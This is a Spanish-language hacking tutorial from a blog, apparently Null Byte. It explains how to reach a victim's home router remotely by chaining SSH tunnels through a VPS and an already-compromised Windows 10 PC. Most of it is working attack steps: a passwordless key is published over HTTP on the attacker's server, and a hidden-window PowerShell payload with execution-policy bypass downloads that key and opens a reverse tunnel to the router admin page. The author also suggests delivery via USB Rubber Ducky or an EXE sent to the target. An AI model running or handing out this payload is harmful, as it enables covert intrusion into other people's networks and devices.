BlogWonderHowTo

Hackear Windows 10: Cómo usar túneles SSH para reenviar solicitudes y piratear enrutadores remotos

Sin privilegios de administrador, instalando software adicional o modificando el firewall de Windows 10, un atacante puede alterar un enrutador y realizar una variedad de exploits. Se logra mediante el reenvío de solicitudes de Kali a través de una computadora Windows con puerta trasera a la puerta de enlace del enrutador con túneles SSH simples.

El ataque que describiré aprovecha el SSH -R y -L Opciones de reenvío de puertos para crear conexiones cifradas hacia y desde el servidor del atacante. El siguiente diagrama proporciona una descripción simplificada del ataque.

# Attack Topology

   [Kali/Hacker]
         |
         |
        SSH
         |
        |/
         '
  [Debian/Server]
         .
        /|
         |
        SSH         +-->[Raspberry Pi on 192.168.1.2:8080]
         |         /
         |        /
[Windows 10/Proxy]---->[Router/Target on 192.168.1.1:80]
                  
                   
                    +-->[Torrent Client on 192.168.1.3:8080]

Las conexiones permiten al atacante reenviar solicitudes a través de un servidor privado virtual (Debian) y luego a través de una PC con Windows 10 comprometida, lo que finalmente otorga al atacante acceso a la puerta de enlace del enrutador. Otros dispositivos y puertos en la red se pueden apuntar a través de la computadora con Windows 10, pero nos centraremos en el enrutador. Un atacante con acceso a la configuración del enrutador puede infligir todo tipo de daños.

La carga útil de PowerShell se ejecuta en Windows 10, lo que lo obliga a crear una conexión SSH al servidor del atacante. Ese enlace reenvía las solicitudes del servidor a través de Windows 10 a la puerta de enlace del enrutador. Para acceder al puerto de reenvío en Debian VPS, el atacante también se conecta al servidor, lo que les permite usarlo y Windows 10 como un mecanismo de doble reenvío.

Se pueden realizar ataques similares con Tor que permiten un mayor acceso a dispositivos y puertos en la red objetivo. Pero quería diseñar una solución de reenvío que no involucrara privilegios de administrador, software de terceros, abrir puertos en Windows 10 o modificar ningún firewall.

El entorno se puede configurar con Kali Linux y Windows 10 en una red Wi-Fi compartida. En tales escenarios, el atacante puede estar intentando acceder a un servicio utilizando la dirección IP de Windows 10 para evitar el filtrado de IP o la lista blanca. Sin embargo, ese es un caso específico y menos práctico. Por esa razón, nuestra demostración utilizará un servidor privado virtual, lo que permitirá a un atacante piratear el enrutador de forma remota a través de dos sistemas desde cualquier red del mundo.

Paso 1: configurar el servidor Debian

Para empezar, SSH en el servidor privado virtual que se utiliza en el ataque como root. La dirección IP del servidor se representa como 11.22.33.44 a lo largo del resto de este tutorial.

Cree un nuevo par de claves SSH con lo siguiente ssh-keygen mando. Cuando se le solicite una frase de contraseña, déjela en blanco y presione Ingresar en el teclado. La frase de contraseña del par de claves debe estar vacía para que el ataque funcione.

El indicador ssh-keygen intentará nombrar las nuevas claves “id_rsa” por defecto. Cámbielo a una cadena aleatoria como “ab56ab49226ed8603e9ae41e242d8096” para frustrar posibles rastreadores de directorios.

Advertencia: El nombre de archivo “clave” se utilizará durante el resto de esta demostración para simplificar, pero generalmente es una mala práctica. Cualquier rastreador web capaz de enumerar el archivo “clave” tendrá acceso remoto completo al servidor Debian.

~# ssh-keygen

Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/key
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/key.
Your public key has been saved in /root/.ssh/key.pub.
The key fingerprint is:
SHA256:5M9KVJVlW2o2er4MSaW0+5yyFhqhKm51kAfrt/fEnbA root@debian9
The key's randomart image is:
+---[RSA 2048]----+
|            .oo .|
|      .    ... + |
|       +. . . B  |
|      +o.... B . |
|     . oS. .* .  |
|      o.+o.o.O . |
|     . +..ooE.+  |
|    o ....o.o= o |
|   o..  .. ooo*  |
+----[SHA256]-----+

A continuación, cambie al directorio ~ / .ssh.

~# cd ~/.ssh

Enumere los archivos en el directorio; debe haber una clave pública (.pub) y privada.

~/.ssh# ls -la

-rw------- 1 root root 1675 Mar  24 05:26 key
-rw-r--r-- 1 root root  391 Mar  24 05:26 key.pub

Copie la clave pública en un archivo llamado “claves_autorizadas”. Eso permitirá a cualquier cliente SSH (es decir, Windows 10) con la clave privada la capacidad de autenticarse en el servidor SSH.

~/.ssh# cp key.pub authorized_keys

Modifique el archivo “sshd_config” para deshabilitar la autenticación de contraseña. Solo los clientes con la clave privada pueden autenticarse en el servidor después de la modificación. Es un paso esencial, ya que la autenticación de contraseña puede evitar que el cliente de Windows pirateado se autentique correctamente.

~/.ssh# nano /etc/ssh/sshd_config

Establezca la opción “PasswordAuthentication” en “no” y descomente la línea si es necesario. Guarde y salga de nano presionando control+X, luego y, y Ingresar.

Ahora, reinicie el servidor SSH con el systemctl mando.

~/.ssh# systemctl restart ssh

Mientras esté en el directorio .ssh /, cree un archivo “index.html” vacío para evitar que el siguiente servidor HTTP enumere los archivos en el directorio.

~/.ssh# touch index.html

Ponga las claves a disposición de Internet con lo siguiente pantalla y python3 comandos. La pantalla permitirá que el servidor HTTP Python3 persista mucho después de que se cierre la conexión SSH.

~/.ssh# screen python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 ...

Para desconectarse de la sesión de pantalla sin terminar el servidor Python3, presione Control-A, luego D. Luego, salga de la sesión SSH.

Paso 2: prueba el servicio SSH

Para asegurarse de que el servidor SSH se haya configurado correctamente, se pueden hacer algunas cosas.

En una máquina Kali local, abra Firefox y navegue hasta la dirección IP del servidor o el nombre de dominio. El servidor mostrará una página en blanco debido al archivo index.html vacío creado en el paso anterior. Desde la barra de URL, descargue la tecla /.

La capacidad de descargar la clave significa que PowerShell también podrá encontrarla cuando se ejecute Invoke-WebRequest en la computadora con Windows de destino.

A continuación, abra una terminal y copie la clave en el directorio ~ / .ssh / de Kali.

~# cp ~/Downloads/key ~/.ssh/

El cliente SSH en Kali es particular sobre los permisos de archivo de la clave. Modifique los permisos con el chmod mando.

~# chmod 0600 ~/.ssh/key

Finalmente, pruebe la clave autenticándose en el servidor Debian desde Kali. Si el servidor Debian solicita una contraseña o rechaza la clave, algo salió mal. Kali debería poder autenticarse en el servidor sin que se le solicite nada.

~# ssh -o StrictHostKeyChecking=no -i ~/.ssh/key root@11.22.33.44

Warning: Permanently added '[11.22.33.44]:22,[XX.XXX.XXX.XX]:22' (ECDSA) to the list of known hosts.
Linux debian9 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u2 (2020-03-24) x86_64

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

root@debian9:~#

Paso 3: ejecutar la carga útil

La carga útil de PowerShell se puede ejecutar en Windows 10 de varias formas. Será útil durante los ataques posteriores a la explotación en los que ya se haya establecido el acceso remoto a la computadora. Las cargas útiles de Mousejack y USB Rubber Ducky son siempre muy efectivas, pero pueden convertirse en ejecutables (EXE) y enviarse con el objetivo.

C:> powershell -ep bypass /w 1 /C iwr 11.22.33.44/key -OutFile $env:tempkey;ssh -N -i $env:tempkey -R 9999:192.168.1.1:80 -o StrictHostKeyChecking=no root@11.22.33.44 -p 22

PowerShell primero usará el comando Invoke-WebRequest para descargar la clave / del servidor del atacante y guardarla en el directorio temporal. A continuación, se invoca SSH con el -R , que reenvía las solicitudes realizadas al puerto 9999 a través de la computadora con Windows y a la dirección IP 192.168.1.1:80 del enrutador.

Paso 4: configurar Kali para acceder a la puerta de enlace del enrutador

Después de ejecutar la carga útil, use netstat en el servidor Debian para encontrar que el puerto 9999 está abierto.

~# netstat -lptn

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1220/sshd
tcp        0      0 127.0.0.1:9999          0.0.0.0:*               LISTEN      9999/sshd: root@pts
tcp6       0      0 :::22                   :::*                    LISTEN      1220/sshd
tcp6       0      0 ::1:9999

Ahora, las solicitudes enviadas al puerto 9999 se reenviarán al enrutador (192.168.1.1:80). El problema es que el puerto 9999 solo está disponible en la dirección de bucle de retorno de Debian (127.0.0.1), a la que no se puede acceder desde direcciones IP externas (es decir, Kali). Una solución es SSH en el servidor Debian desde Kali con el -L opción.

~# ssh -N -L 8888:127.0.0.1:9999 -i ~/.ssh/key root@11.22.33.44

En Kali, las solicitudes realizadas al puerto 8888 se reenvían al puerto 9999 en el servidor Debian. Las solicitudes se reenvían inmediatamente a través de Windows 10 y, en última instancia, a la puerta de enlace del enrutador. Tanto Debian como Windows 10 actúan juntos como sistemas de reenvío que permiten al atacante en una parte diferente del mundo acceder al enrutador.

Se puede verificar abriendo Firefox en Kali y navegando a http://127.0.0.1:8888.

Puerta de enlace del enrutador accesible a través de Windows 10.

Pensamientos finales…

El ataque es un poco complicado, ya que implica dos grados de reenvío de puertos. Sin embargo, demuestra cómo los piratas informáticos intentarán acceder de forma remota a otros dispositivos y puertos en la red de destino sin ningún privilegio especial o software adicional. Si existen métodos más sencillos para lograr el mismo objetivo, asegúrese de dejar un comentario a continuación; Me encantaría escuchar sobre ellos.

Si te ha gustado este artículo, sígueme en Twitter. @tokyoneon_ y GitHub para seguir con mis proyectos actuales. Para preguntas e inquietudes, déjeme un comentario o envíeme un mensaje en Twitter.

Foto de portada de Kevin Horvat / Unsplash; Capturas de pantalla y GIF de tokyoneon / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar